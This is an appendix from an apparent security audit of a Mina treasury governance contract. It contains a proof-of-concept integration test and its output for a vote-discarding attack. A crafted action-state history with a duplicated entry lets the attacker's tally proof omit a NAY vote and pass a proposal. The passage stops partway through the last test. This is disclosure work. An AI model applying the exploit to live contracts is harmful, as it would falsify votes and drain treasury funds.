H. Vote Discarding Integration Test

The following is a modified version of `packages/sdk/test/integration/treasury-owner.test.ts` that demonstrates the vote discarding attack described in [TOB-MINA-3](#).

The test casts six votes across six separate blocks (five YAY, one NAY), constructs both an honest and an attacker `VoteReducer` proof, and submits the attacker's proof to `tallyVotes`. The attacker's proof excludes the NAY vote by setting the action state history to `[S5, S4, S3, S2, S3]`, using a non-adjacent duplicate of `S3` to fill all five required entries with valid on-chain states. The proposal is approved and executed despite the honest tally showing rejection.

```
=== zkSec #02: Vote discarding attack ===
All votes cast on-chain:
  Vote 1: YAY
  Vote 2: YAY
  Vote 3: YAY
  Vote 4: YAY
  Vote 5: YAY
  Vote 6: NAY
Attacker includes:
  Vote 1: YAY
  Vote 2: YAY
  Vote 3: YAY
  Vote 4: YAY
  Vote 5: YAY
Attacker discards:
  Vote 6: NAY
=====
Attacker action state history: [S5, S4, S3, S2, S3]

=== Honest proof (all 6 votes) ===
Honest tally: YAY=500 NAY=600 ABSTAIN=0
=====

=== Attacker proof (votes 1-5 only) ===
Attacker tally: YAY=500 NAY=0 ABSTAIN=0
=====

=== zkSec #02: Tally results ===
Attacker tally: YAY=500 NAY=0 ABSTAIN=0
=====

ok 1 - should compile
ok 2 - should create a proposal
ok 3 - should cast vote 1 (YAY)
ok 4 - should cast vote 2 (YAY)
ok 5 - should cast vote 3 (YAY)
```

```

ok 6 - should cast vote 4 (YAY)
ok 7 - should cast vote 5 (YAY)
ok 8 - should cast vote 6 (NAY)
ok 9 - should fail while attempting to vote on the proposal contract directly
ok 10 - should commit action state (zkSec #02: attacker excludes vote 6)
ok 11 - should tally votes (attacker proof excludes vote 6)
ok 12 - should execute a proposal
# tests 12
# pass 12
# fail 0

```

Figure H.1: Test output showing the honest tally (REJECTED) versus the attacker tally (APPROVED)

```

import { it, after } from "node:test";
import assert from "node:assert";
import {
  LIFECYCLE_PERIOD_DURATION,
  LifecyclePeriod,
  TreasuryOwnerSmartContract,
} from "../../src/provable/contracts/treasury-owner.js";
import { TreasuryPauseControllerSmartContract } from
"../../src/provable/contracts/treasury-pause-controller/treasury-pause-controller.js";
import {
  MultisigSignature,
  MultisigSignatures,
} from
"../../src/provable/contracts/treasury-pause-controller/multisig-signatures.js";
import {
  AccountUpdate,
  Bool,
  fetchAccount,
  Field,
  method,
  Mina,
  Permissions,
  PrivateKey,
  Provable,
  PublicKey,
  Reducer,
  SmartContract,
  State,
  state,
  Transaction,
  UInt32,
  UInt64,
  ZkappUri,
} from "o1js";
import {
  ActionStateHistoryTarget,
  Vote,

```

```

    VOTE_ACTION_BATCH_SIZE,
    VoteAction,
    VoteReducer,
    voteReducerContext,
    SideLoadedVoteReducerProof,
    VoteReducerProof,
  } from "../../src/provable/contracts/treasury-proposal/vote-reducer.js";
import { BOND_AMOUNT_DIVISOR } from
  "../../src/provable/contracts/treasury-constants.js";

import { appendActionToHashList } from "../../src/provable/hashing-helpers.js";
import {
  TreasuryProposalSmartContract,
  ProposalStatus,
} from "../../src/provable/contracts/treasury-proposal/treasury-proposal.js";
import {
  SideLoadedStakingLedgerToVotingLedgerProof,
  StakingLedgerToVotingLedger,
  ACCOUNT_BATCH_SIZE,
  stakingLedgerToVotingLedgerContext,
  StakingLedgerToVotingLedgerProgramInput,
  StakingLedgerToVotingLedgerProgramOutput,
  StakingLedgerToVotingLedgerProof,
} from "../../src/provable/staking-ledger-to-voting-ledger.js";
import { VotingAccount } from "../../src/provable/voting-account.js";
import { Account } from "../../src/provable/account.js";
import { createVoteReducerTestContext } from
  "../../provable/context/contracts/vote-reducer-context.js";

const voteReducerTestContext = await createVoteReducerTestContext();
import { PersistentNullifierLedger } from
  "../../src/ledgers/nullifier-ledger/persistent-nullifier-ledger.js";
import { PersistentVotingLedger } from
  "../../src/ledgers/voting-ledger/persistent-voting-ledger.js";
import { PersistentStakingLedger } from
  "../../src/ledgers/staking-ledger/persistent-staking-ledger.js";
import { createSqliteNullifierLedgerStorage } from
  "../../src/storage/sqlite/factory/sqlite-nullifier-ledger-storage.js";
import { createSqliteStakingLedgerStorage } from
  "../../src/storage/sqlite/factory/sqlite-staking-ledger-storage.js";
import { createSqliteVotingLedgerStorage } from
  "../../src/storage/sqlite/factory/sqlite-voting-ledger-storage.js";
import { KeyvSqlite } from "@keyv/sqlite";
import { mkdirSync } from "node:fs";
import { dirname } from "node:path";
import { getSqliteDbPath } from "../../src/storage/sqlite/sqlite-db-path.js";

const proofsEnabled = process.env.PROOFS_ENABLED === "true";

const Local = await Mina.LocalBlockchain({
  proofsEnabled,
});

```



```

Mina.setActiveInstance(Local);

const lifecycleId = "treasury-owner-test";
const sqlitePath = getSqliteDatabasePath(lifecycleId);
mkdirSync(dirname(sqlitePath), { recursive: true });
const sqlite = new KeyvSqlite({ uri: sqlitePath });
const sqliteDisconnect = sqlite.disconnect.bind(sqlite);
sqlite.disconnect = async () => {
  try {
    await sqliteDisconnect();
  } catch (error) {
    if (
      typeof error === "object" &&
      error !== null &&
      "code" in error &&
      (error as { code?: string }).code === "SQLITE_MISUSE"
    ) {
      return;
    }
    throw error;
  }
};

const votingLedgerStorage = createSqliteVotingLedgerStorage(
  lifecycleId,
  sqlite,
);
const votingLedger = new PersistentVotingLedger(
  votingLedgerStorage.votingAccountStorage,
  votingLedgerStorage.merkleTreeStorage,
);
const nullifierLedgerStorage = createSqliteNullifierLedgerStorage(
  lifecycleId,
  sqlite,
);
const nullifierLedger = new PersistentNullifierLedger(
  nullifierLedgerStorage.nullifierStorage,
  nullifierLedgerStorage.merkleTreeStorage,
);
const stakingLedgerStorage = createSqliteStakingLedgerStorage(
  lifecycleId,
  sqlite,
);
const stakingLedger = new PersistentStakingLedger(
  stakingLedgerStorage.accountStorage,
  stakingLedgerStorage.merkleTreeStorage,
);

voteReducerContext.set({
  votingLedger,
  nullifierLedger,
});

```

```

stakingLedgerToVotingLedgerContext.set({
  stakingLedger,
  votingLedger,
});

after(async () => {
  await votingLedger.close();
  await nullifierLedger.close();
  await stakingLedger.close();
  await sqlite.disconnect();
});

const multisigPrivateKey1 = PrivateKey.random();
const multisigPublicKey1 = multisigPrivateKey1.toPublicKey();
const multisigPrivateKey2 = PrivateKey.random();
const multisigPublicKey2 = multisigPrivateKey2.toPublicKey();
const multisigPrivateKey3 = PrivateKey.random();
const multisigPublicKey3 = multisigPrivateKey3.toPublicKey();
const multisigPrivateKey4 = PrivateKey.random();
const multisigPublicKey4 = multisigPrivateKey4.toPublicKey();
const multisigPrivateKey5 = PrivateKey.random();
const multisigPublicKey5 = multisigPrivateKey5.toPublicKey();

const multisigSigners: [PrivateKey, PublicKey][] = [
  [multisigPrivateKey1, multisigPublicKey1],
  [multisigPrivateKey2, multisigPublicKey2],
  [multisigPrivateKey3, multisigPublicKey3],
  [multisigPrivateKey4, multisigPublicKey4],
  [multisigPrivateKey5, multisigPublicKey5],
];

const multiSigCommitment = MultisigSignatures.createCommitment([
  multisigPublicKey1,
  multisigPublicKey2,
  multisigPublicKey3,
  multisigPublicKey4,
  multisigPublicKey5,
]);

console.log("compiling vote reducer");
const { verificationKey: voteReducerVerificationKey } =
  await VoteReducer.compile({
    proofsEnabled,
  });
console.log("compiled vote reducer", voteReducerVerificationKey);

console.time("compile staking ledger to voting ledger");
const { verificationKey: stakingLedgerToVotingLedgerVerificationKey } =
  await StakingLedgerToVotingLedger.compile({
    proofsEnabled,
  });

TreasuryProposalSmartContract.voteReducerVerificationKey =

```

```

    voteReducerVerificationKey;
TreasuryProposalSmartContract.stakingLedgerToVotingLedgerVerificationKey =
    stakingLedgerToVotingLedgerVerificationKey;
TreasuryProposalSmartContract.emptyNullifierRoot =
    await nullifierLedger.getRoot();
TreasuryProposalSmartContract.emptyVotingLedgerRoot =
    await votingLedger.getRoot();

Provable.log(
    "empty nullifier root",
    TreasuryProposalSmartContract.emptyNullifierRoot,
);

console.time("compile TreasuryProposalSmartContract");
await TreasuryProposalSmartContract.compile();
TreasuryOwnerSmartContract.proposalContractVerificationKey =
    TreasuryProposalSmartContract._verificationKey;
TreasuryPauseControllerSmartContract.multisigParticipants = [
    multisigPublicKey1,
    multisigPublicKey2,
    multisigPublicKey3,
    multisigPublicKey4,
    multisigPublicKey5,
];

Provable.log(
    "TreasuryProposalSmartContract analysis",
    await TreasuryProposalSmartContract.analyzeMethods(),
);

await TreasuryPauseControllerSmartContract.compile();
await TreasuryOwnerSmartContract.compile();

const testAccount = Local.testAccounts[1];
const voters: { privateKey: PrivateKey; publicKey: PublicKey }[] = [];
for (let i = 0; i < 6; i++) {
    const privateKey = PrivateKey.random();
    voters.push({ privateKey, publicKey: privateKey.toPublicKey() });
}
// Aliases for the "should fail" direct-vote test.
const voterPrivateKey1 = voters[0].privateKey;
const voterPublicKey1 = voters[0].publicKey;

const treasuryOwnerPrivateKey = PrivateKey.random();
const treasuryOwnerPublicKey = treasuryOwnerPrivateKey.toPublicKey();
const pauseControllerPrivateKey = PrivateKey.random();
const pauseControllerPublicKey = pauseControllerPrivateKey.toPublicKey();

const treasuryProposalPrivateKey = PrivateKey.random();
const treasuryProposalPublicKey = treasuryProposalPrivateKey.toPublicKey();

const amount = UInt64.from(100000000000);

```

```

const treasuryFundingAccount = Local.testAccounts[2];

const treasuryOwner = new TreasuryOwnerSmartContract(treasuryOwnerPublicKey);
const pauseController = new TreasuryPauseControllerSmartContract(
  pauseControllerPublicKey,
);
const treasuryProposal = new TreasuryProposalSmartContract(
  treasuryProposalPublicKey,
  treasuryOwner.deriveTokenId(),
);

const treasuryProposalRecipientPrivateKey = PrivateKey.random();
const treasuryProposalRecipientPublicKey =
  treasuryProposalRecipientPrivateKey.toPublicKey();

const dummyZkAppUri = "https://example.com";
let treasuryOwnerBalanceSnapshot = UInt64.from(0);

async function printNonce(publicKey: PublicKey, memo: string) {
  try {
    const account = Local.getAccount(publicKey);
    console.log(
      `Nonce for (${memo}) ${publicKey.toBase58()}: ${account.nonce.toBigInt()}`,
    );
  } catch (error) {
    console.error(
      `Error fetching nonce for (${memo}) ${publicKey.toBase58()}: ${error}`,
    );
  }
}

it("should compile", async () => {
  await TreasuryOwnerSmartContract.compile();
  Provable.log("analysis", await TreasuryOwnerSmartContract.analyzeMethods());
});

it("should create a proposal", async () => {
  await (async () => {
    console.log("deploying pause controller");
    const tx = await Mina.transaction(testAccount, async () => {
      AccountUpdate.fundNewAccount(testAccount, 1);
      await pauseController.deploy();
    });

    tx.sign([testAccount.key, pauseControllerPrivateKey]);
    await tx.prove();

    const pendingTx = await tx.send();
    await pendingTx.wait();
  })();

  await (async () => {
    await fetchAccount({ publicKey: pauseControllerPublicKey });
  });
}

```

```

const storedCommitment = pauseController.multisigCommitment.get();
assert(
  storedCommitment.equals(multiSigCommitment).toBoolean(),
  "Pause controller multisig commitment mismatch",
);
})();

await (async () => {
  console.log("deploying treasury owner");
  Provable.log("default permissions", Permissions.default());
  TreasuryOwnerSmartContract.treasuryDeployedAtSlot = UInt32.from(0);
  TreasuryOwnerSmartContract.pauseControllerPublicKey =
    pauseControllerPublicKey;
  const tx = await Mina.transaction(testAccount, async () => {
    AccountUpdate.fundNewAccount(testAccount, 1);
    await treasuryOwner.deploy();
  });

  tx.sign([testAccount.key, treasuryOwnerPrivateKey]);
  await tx.prove();

  const pendingTx = await tx.send();
  await pendingTx.wait();

  await printNonce(treasuryOwnerPublicKey, "treasury owner deployed");
})();

await (async () => {
  console.log("funding treasury owner");
  const treasuryFunding = Local.getAccount(
    treasuryFundingAccount,
  ).balance.sub(UInt64.from(1 * 10 ** 9));

  const tx = await Mina.transaction(testAccount, async () => {
    const testAccountUpdate = AccountUpdate.createSigned(
      treasuryFundingAccount,
    );
    // fund the treasury owner account
    testAccountUpdate.balance.subInPlace(treasuryFunding);

    // const treasuryOwnerAccountUpdate = AccountUpdate.createSigned(
    //   treasuryOwnerPublicKey,
    // );
    // treasuryOwnerAccountUpdate.balance.addInPlace(treasuryFunding);
    await treasuryOwner.receive(treasuryFunding);
  });

  tx.sign([
    testAccount.key,
    // treasuryOwnerPrivateKey,
    treasuryFundingAccount.key,
  ]);
  await tx.prove();

```

```

const pendingTx = await tx.send();
await pendingTx.wait();
treasuryOwnerBalanceSnapshot = Local.getAccount(
  treasuryOwnerPublicKey,
).balance;
})();

await (async () => {
  console.log("setting network state");
  const treasuryOwnerAccount = Account.empty();
  treasuryOwnerAccount.pk = treasuryOwnerPublicKey;
  treasuryOwnerAccount.delegate = treasuryOwnerPublicKey;
  treasuryOwnerAccount.balance = treasuryOwnerBalanceSnapshot;
  await stakingLedger.setAccount(0n, treasuryOwnerAccount);
  await stakingLedger.setLeaf(0n, treasuryOwnerAccount);

  // Voters 1-5 vote YAY (100 each = 500 total), voter 6 votes NAY (600).
  // Honest tally: 500 YAY vs 600 NAY → approval 45% < ~61% required → REJECTED
  // Attacker discards vote 6: 500 YAY vs 0 NAY → approval 100% → APPROVED
  const voterBalances = [100, 100, 100, 100, 100, 600];
  for (let i = 0; i < voters.length; i++) {
    const account = {
      ...Account.empty(),
      pk: voters[i].publicKey,
      delegate: voters[i].publicKey,
      balance: UInt64.from(voterBalances[i]),
    };
    await stakingLedger.setAccount(BigInt(i + 1), account);
    await stakingLedger.setLeaf(BigInt(i + 1), account);
  }

  const totalCurrency = voterBalances.reduce((a, b) => a + b, 0);
  const stakingLedgerRoot = await stakingLedger.getRoot();
  Local.setNetworkState({
    ...Local.getNetworkState(),
    stakingEpochData: {
      ...Local.getNetworkState().stakingEpochData,
      ledger: {
        ...Local.getNetworkState().stakingEpochData.ledger,
        hash: stakingLedgerRoot,
        totalCurrency: UInt64.from(totalCurrency),
      },
    },
  });

  const bondPayer = Local.testAccounts[0];

  console.log("creating proposal");
  const tx = await Mina.transaction(testAccount, async () => {
    AccountUpdate.fundNewAccount(testAccount, 1);

    const bondPayerAccountUpdate = AccountUpdate.createSigned(bondPayer);
    bondPayerAccountUpdate.balance.subInPlace(

```

```

        amount.div(BOND_AMOUNT_DIVISOR),
    );

    await treasuryOwner.createProposal(
        treasuryProposalPublicKey,
        {
            amount,
            recipient: treasuryProposalRecipientPublicKey,
            zkAppUri: ZkappUri.from(dummyZkAppUri),
        },
        UInt32.from(0),
    );
});

tx.sign([testAccount.key, treasuryProposalPrivateKey, bondPayer.key]);
tx.toJSON();

await tx.prove();

const pendingTx = await tx.send();
await pendingTx.wait();

await printNonce(treasuryOwnerPublicKey, "treasury owner proposal created");
await printNonce(treasuryProposalPublicKey, "treasury proposal created");
const treasuryOwnerBalance = Local.getAccount(
    treasuryOwnerPublicKey,
).balance;
Provable.log("treasuryOwnerBalance post creation", treasuryOwnerBalance);
})();

// const lifecycleStartedAt = await treasuryOwner.lifecycleStartedAt.fetch();
// });

// TODO: move to a separate test suite, as the proving stalls if we add pausing
// alongside with the action state commit transaction
// they work fine separately, but together it stalls
// it("should pause the treasury", async () => {
//     const nonce = UInt32.from(1);
//     const signatures = new MultisigSignatures({
//         signatures: [
//             MultisigSignature.create(multisigSigners[0][0], [
//                 MultisigSignature.dataPauseTreasury(nonce),
//             ]),
//             MultisigSignature.create(multisigSigners[1][0], [
//                 MultisigSignature.dataPauseTreasury(nonce),
//             ]),
//             MultisigSignature.create(multisigSigners[2][0], [
//                 MultisigSignature.dataPauseTreasury(nonce),
//             ]),
//             MultisigSignature.empty(),
//             MultisigSignature.empty(),
//         ],
//     });

```

```

// const tx = await Mina.transaction(testAccount, async () => {
//   await pauseController.pauseTreasury(signatures, nonce);
// });

// tx.sign([testAccount.key]);
// await tx.prove();
// const pendingTx = await tx.send();
// await pendingTx.wait();

// Provable.log("paused", tx.toPretty());

// const paused = await pauseController.paused.get();
// assert(paused.toBoolean(), "Treasury is not paused");
// });

// it("should unpause the treasury", async () => {
//   const nonce = UInt32.from(2);
//   const signatures = new MultisigSignatures({
//     signatures: [
//       MultisigSignature.create(multisigSigners[0][0], [
//         MultisigSignature.dataUnpauseTreasury(nonce),
//       ]),
//       MultisigSignature.create(multisigSigners[1][0], [
//         MultisigSignature.dataUnpauseTreasury(nonce),
//       ]),
//       MultisigSignature.create(multisigSigners[2][0], [
//         MultisigSignature.dataUnpauseTreasury(nonce),
//       ]),
//       MultisigSignature.empty(),
//       MultisigSignature.empty(),
//     ],
//   });
//   const tx = await Mina.transaction(testAccount, async () => {
//     await pauseController.unpauseTreasury(signatures, nonce);
//   });

//   tx.sign([testAccount.key]);
//   await tx.prove();
//   const pendingTx = await tx.send();
//   await pendingTx.wait();

//   const paused = await pauseController.paused.get();
//   assert(!paused.toBoolean(), "Treasury is not unpaused");
// });

// Cast 6 votes across separate blocks to create distinct action states.
// Voters 1-5 vote YAY, voter 6 votes NAY in the last block.
const voteChoices: Vote[] = [
  Vote.YAY, Vote.YAY, Vote.YAY, Vote.YAY, Vote.YAY, Vote.NAY,
];

for (let i = 0; i < voters.length; i++) {
  it(`should cast vote ${i + 1} (${voteChoices[i].equals(Vote.YAY).toBoolean() ?

```



```

"YAY" : "NAY"}}`, async () => {
  if (i === 0) {
    Local.incrementGlobalSlot(LIFECYCLE_PERIOD_DURATION.mul(2));
  } else {
    Local.incrementGlobalSlot(1);
  }

  const tx = await Mina.transaction(testAccount, async () => {
    AccountUpdate.fundNewAccount(testAccount, 1);
    await treasuryOwner.vote(
      treasuryProposalPublicKey,
      voters[i].publicKey,
      voteChoices[i],
    );
  });

  tx.sign([testAccount.key, voters[i].privateKey]);

  Provable.log("vote tx", tx.toPretty());

  await tx.prove();
  const pendingTx = await tx.send();
  await pendingTx.wait();

  await printNonce(treasuryOwnerPublicKey, "treasury owner voted");
  await printNonce(treasuryProposalPublicKey, "treasury proposal voted");
});
}

it("should fail while attempting to vote on the proposal contract directly", async
() => {
  let error: Error;
  try {
    const proposal = new TreasuryProposalSmartContract(
      treasuryProposalPublicKey,
      treasuryOwner.deriveTokenId(),
    );
    const tx = await Mina.transaction(testAccount, async () => {
      await proposal.vote({
        vote: Vote.YAY,
        publicKey: voterPublicKey1,
      });

      await treasuryOwner.approveAccountUpdate(proposal.self);
    });

    tx.sign([testAccount.key, voterPrivateKey1]);
    await tx.prove();
  } catch (e) {
    error = e as Error;
  }
  assert(
    error.message.includes(

```

```

        "No external account updates allowed for this token",
    ),
);
});

let voteReducerProof: VoteReducerProof;
let stakingLedgerToVotingLedgerProof: StakingLedgerToVotingLedgerProof;
it("should commit action state (zkSec #02: attacker excludes vote 6)", async () => {
    Local.incrementGlobalSlot(LIFECYCLE_PERIOD_DURATION);

    const actions = await Mina.getActions(
        treasuryProposalPublicKey,
        {},
        treasuryOwner.deriveTokenId(),
    );
    Provable.log("actions", actions);
    assert(
        actions.length === 6,
        `Expected 6 action batches, got ${actions.length}`,
    );

    await fetchAccount({
        publicKey: treasuryProposalPublicKey,
        tokenId: treasuryOwner.deriveTokenId(),
    });

    // Decode all on-chain vote actions and log them.
    const allVoteActions = actions
        .map((action) => action.actions[0])
        .map((action) => action.map((field) => Field(field)))
        .map((action) => VoteAction.fromFields(action));

    const voteLabel = (v: VoteAction) => {
        if (v.vote.equals(Vote.YAY).toBoolean()) return "YAY";
        if (v.vote.equals(Vote.NAY).toBoolean()) return "NAY";
        if (v.vote.equals(Vote.ABSTRAIN).toBoolean()) return "ABSTAIN";
        return "DUMMY";
    };

    console.log("\n=== zkSec #02: Vote discarding attack ===");
    console.log("All votes cast on-chain:");
    for (let i = 0; i < allVoteActions.length; i++) {
        const v = allVoteActions[i];
        console.log(
            `Vote ${i + 1}: ${voteLabel(v)} by ${v.publicKey.toBase58()}`,
        );
    }

    // zkSec #02 attack: include only the first 5 votes, discarding
    // vote 6 (NAY, balance 600). The attacker builds a VoteReducer proof
    // whose toActionsHash stops at the action state after vote 5.
    // With 6 blocks of votes, all 5 on-chain action state slots are
    // non-initial, yet the attack still works because the consecutive

```

```

// uniqueness check allows non-adjacent duplicates.
const attackerVoteActions = allVoteActions.slice(0, 5);

console.log("Attacker includes:");
for (let i = 0; i < attackerVoteActions.length; i++) {
  const v = attackerVoteActions[i];
  console.log(
    `Vote ${i + 1}: ${voteLabel(v)} by ${v.publicKey.toBase58()}`,
  );
}
console.log("Attacker discards:");
for (let i = attackerVoteActions.length; i < allVoteActions.length; i++) {
  const v = allVoteActions[i];
  console.log(
    `Vote ${i + 1}: ${voteLabel(v)} by ${v.publicKey.toBase58()}`,
  );
}
console.log("=====\n");

const voteActions = [
  ...attackerVoteActions,
].slice(0, VOTE_ACTION_BATCH_SIZE);

Provable.log("raw actions", actions);
Provable.log("voteActions", voteActions);

// Compute cumulative action state hashes for all 6 votes.
const actionStateHashes: Field[] = [];
let runningHash = Reducer.initialActionState;
for (const v of allVoteActions) {
  runningHash = appendActionToHashList(
    runningHash,
    VoteAction.toFields(v),
  );
  actionStateHashes.push(runningHash);
}
// S1..S6 correspond to actionStateHashes[0..5].
// On-chain slots after 6 blocks: [S6, S5, S4, S3, S2] - S1 rolled off.
// Attacker uses [S5, S4, S3, S2, S3]: non-adjacent duplicate S3
// passes the consecutive check, and all entries are valid on-chain.
const S2 = actionStateHashes[1];
const S3 = actionStateHashes[2];
const S4 = actionStateHashes[3];
const S5 = actionStateHashes[4];
const actionStateHistoryTarget = new ActionStateHistoryTarget({
  actionStateOne: S5,
  actionStateTwo: S4,
  actionStateThree: S3,
  actionStateFour: S2,
  actionStateFive: S3,
});
console.log("Attacker action state history: [S5, S4, S3, S2, S3]");

```

```

const treasuryOwnerAccount = await stakingLedger.getAccount(0n);
const treasuryOwnerAccountWitness = await stakingLedger.getWitness(0n);

const stakingLedgerRoot = await stakingLedger.getRoot();
const votingLedgerRoot = await votingLedger.getRoot();
const digestInput = new StakingLedgerToVotingLedgerProgramInput({
  index: UInt64.from(0),
  stakingLedgerRoot,
  votingLedgerRoot,
});

// Batch 1: accounts 0-4
const digestAccounts1: Account[] = [];
for (let i = 0; i < ACCOUNT_BATCH_SIZE; i++) {
  digestAccounts1.push(await stakingLedger.getAccount(BigInt(i)));
}

Provable.log("digest accounts", digestAccounts1);

// Batch 2: accounts 5-6 + empty padding
const digestAccounts2: Account[] = [];
for (let i = 0; i < ACCOUNT_BATCH_SIZE; i++) {
  digestAccounts2.push(
    await stakingLedger.getAccount(BigInt(ACCOUNT_BATCH_SIZE + i)),
  );
}

console.time("digest ledger");
const { proof: digestProof1 } = await StakingLedgerToVotingLedger.digest(
  digestInput,
  digestAccounts1,
);

// Second digest starts where the first left off.
const digestInput2 = new StakingLedgerToVotingLedgerProgramInput({
  index: UInt64.from(ACCOUNT_BATCH_SIZE),
  stakingLedgerRoot,
  votingLedgerRoot: digestProof1.publicOutput.votingLedgerRoot,
});
const { proof: digestProof2 } = await StakingLedgerToVotingLedger.digest(
  digestInput2,
  digestAccounts2,
);

const { proof: mergedProof } = await StakingLedgerToVotingLedger.merge(
  digestInput,
  digestProof1,
  digestProof2,
);
const { proof: exhaustProof } = await StakingLedgerToVotingLedger.exhaust(
  mergedProof.publicInput,
  mergedProof,
);

```

```

stakingLedgerToVotingLedgerProof = exhaustProof;
console.timeEnd("digest ledger");
Provable.log(
  "stakingLedgerToVotingLedgerProof",
  stakingLedgerToVotingLedgerProof.publicOutput,
);
Provable.log("pretally treasury balance", treasuryOwnerAccount.balance);

// === Honest proof: all 6 votes, 2 batches + merge ===
const S6 = actionStateHashes[5];
const honestTarget = new ActionStateHistoryTarget({
  actionStateOne: S6,
  actionStateTwo: S5,
  actionStateThree: S4,
  actionStateFour: S3,
  actionStateFive: S2,
});

// Batch 1: first 5 votes (fills a full batch)
const honestBatch1 = allVoteActions.slice(0, VOTE_ACTION_BATCH_SIZE);
// Batch 2: vote 6 + dummy padding
const honestBatch2 = [
  ...allVoteActions.slice(VOTE_ACTION_BATCH_SIZE),
  ...Array.from(
    { length: VOTE_ACTION_BATCH_SIZE - 1 },
    () => VoteAction.dummy(),
  ),
].slice(0, VOTE_ACTION_BATCH_SIZE);

const honestNullifierRoot = await nullifierLedger.getRoot();
console.time("honest reduce");
const { proof: honestProof1 } = await VoteReducer.reduceBatch(
  {
    fromActionsHash: Reducer.initialActionState,
    votingLedgerRoot: await votingLedger.getRoot(),
    fromNullifierRoot: honestNullifierRoot,
    actionStateHistoryTarget: honestTarget,
  },
  honestBatch1,
);
const { proof: honestProof2 } = await VoteReducer.reduceBatch(
  {
    fromActionsHash: honestProof1.publicOutput.toActionsHash,
    votingLedgerRoot: await votingLedger.getRoot(),
    fromNullifierRoot: honestProof1.publicOutput.toNullifierRoot,
    actionStateHistoryTarget: honestTarget,
  },
  honestBatch2,
);
const { proof: honestMerged } = await VoteReducer.merge(
  {
    fromActionsHash: Reducer.initialActionState,
    votingLedgerRoot: await votingLedger.getRoot(),
  },
  honestMerged,
);

```

```

        fromNullifierRoot: honestNullifierRoot,
        actionStateHistoryTarget: honestTarget,
    },
    honestProof1,
    honestProof2,
);
console.timeEnd("honest reduce");

const honestOutput = honestMerged.publicOutput;
console.log("\n=== Honest proof (all 6 votes) ===");
console.log(`Honest tally: YAY=${honestOutput.yay.toBigInt()}
NAY=${honestOutput.nay.toBigInt()} ABSTAIN=${honestOutput.abstain.toBigInt()}`);
console.log("=====\n");

// Reset nullifier ledger for the attacker proof.
for (const v of allVoteActions) {
    await nullifierLedger.setNullifier(v.publicKey.toBase58(), Bool(false));
    await nullifierLedger.setLeaf(v.publicKey.toBase58(), Bool(false));
}

// === Attacker proof: only first 5 votes ===
Provable.log(
    "vote reducer reduce batch from",
    await nullifierLedger.getRoot(),
);
console.time("attacker reduce");
const { proof } = await VoteReducer.reduceBatch(
    {
        fromActionsHash: Reducer.initialActionState,
        votingLedgerRoot: await votingLedger.getRoot(),
        fromNullifierRoot: await nullifierLedger.getRoot(),
        actionStateHistoryTarget,
    },
    voteActions,
);
voteReducerProof = proof;
console.timeEnd("attacker reduce");

Provable.log("vote proof", voteReducerProof.publicOutput);

Provable.log("preverify proofs", {
    voteReducer: await VoteReducer.verify(voteReducerProof),
    stakingLedgerToVotingLedger: await StakingLedgerToVotingLedger.verify(
        stakingLedgerToVotingLedgerProof,
    ),
});

const attackerOutput = voteReducerProof.publicOutput;
console.log("\n=== Attacker proof (votes 1-5 only) ===");
console.log(`Attacker tally: YAY=${attackerOutput.yay.toBigInt()}
NAY=${attackerOutput.nay.toBigInt()} ABSTAIN=${attackerOutput.abstain.toBigInt()}`);
console.log("=====\n");
});

```

```

// zkSec #02: the attacker's proof (built above) excludes vote 6
// (NAY, balance 600). The tally sees only votes 1-5 (all YAY, total 500)
// and approves the proposal. An honest tally would include the NAY vote.
it("should tally votes (attacker proof excludes vote 6)", async () => {
  const treasuryOwnerAccount = await stakingLedger.getAccount(0n);
  const treasuryOwnerAccountWitness = await stakingLedger.getWitness(0n);

  Provable.log("vote reducer proof tally", voteReducerProof.publicOutput);

  // Log the attacker's tally vs what an honest tally would show.
  const { yay, nay, abstain } = voteReducerProof.publicOutput;
  console.log("\n=== zkSec #02: Tally results ===");
  console.log(`Attacker tally: YAY=${yay.toBigInt()} NAY=${nay.toBigInt()}
ABSTAIN=${abstain.toBigInt()}`);
  console.log("=====\n");

  // Verify the attacker's proof excluded the NAY vote (vote 6)
  assert(
    yay.toBigInt() === 500n,
    `Expected YAY=500, got ${yay.toBigInt()}`,
  );
  assert(
    nay.toBigInt() === 0n,
    "Expected zero NAY count (vote 6 was excluded by attacker)",
  );

  const tx = await Mina.transaction(testAccount, async () => {
    await treasuryOwner.tallyVotes(
      treasuryProposalPublicKey,
      SideLoadedVoteReducerProof.fromProof(voteReducerProof),
      // proof.proof,
      SideLoadedStakingLedgerToVotingLedgerProof.fromProof(
        stakingLedgerToVotingLedgerProof,
      ),
      // stakingLedgerToVotingLedgerProof,
      treasuryOwnerAccount,
      treasuryOwnerAccountWitness,
    );
  });

  tx.sign([testAccount.key]);
  Provable.log("tally votes tx", tx.toPretty());

  await tx.prove();
  const pendingTx = await tx.send();
  await pendingTx.wait();

  await printNonce(treasuryOwnerPublicKey, "treasury owner tallied votes");
  await printNonce(treasuryProposalPublicKey, "treasury proposal tallied");

  const voteApproved = await treasuryProposal.status.fetch();
  assert(

```

```

        voteApproved.equals(ProposalStatus.APPROVED).toBoolean(),
        "Attacker tally approved (vote 6 silently discarded)",
    );
});

it("should execute a proposal", async () => {
    Local.incrementGlobalSlot(LIFECYCLE_PERIOD_DURATION.mul(2));
    const amountWithBond = amount.add(amount.div(BOND_AMOUNT_DIVISOR));

    const treasuryOwnerBalancePreExecution = Local.getAccount(
        treasuryOwnerPublicKey,
    ).balance;
    const testAccountBalancePreExecution = Local.getAccount(testAccount).balance;
    // const treasuryProposalRecipientBalancePreExecution = Local.getAccount(
    //     treasuryProposalRecipientPublicKey
    // ).balance;
    Provable.log(
        "testAccountBalancePreExecution",
        testAccountBalancePreExecution,
    );
    Provable.log(
        "treasuryOwnerBalancePreExecution",
        treasuryOwnerBalancePreExecution,
    );
    // Provable.log('treasuryProposalRecipientBalancePreExecution',
    treasuryProposalRecipientBalancePreExecution);
    Provable.log("executing proposal", {
        amountWithBond,
        recipient: treasuryProposalRecipientPublicKey,
    });
    const tx = await Mina.transaction(testAccount, async () => {
        // fund the recipient account creation
        AccountUpdate.fundNewAccount(testAccount, 1);

        await treasuryOwner.executeProposal(
            treasuryProposalPublicKey,
            treasuryProposalRecipientPublicKey,
            amountWithBond,
        );
    });

    tx.sign([testAccount.key, treasuryProposalRecipientPrivateKey]);

    Provable.log("executing proposal", tx.toPretty());

    await tx.prove();
    const pendingTx = await tx.send();
    await pendingTx.wait();

    await printNonce(treasuryProposalPublicKey, "treasury proposal executed");
    await printNonce(treasuryOwnerPublicKey, "treasury owner executed proposal");

    const testAccountBalance = Local.getAccount(testAccount).balance;

```



```

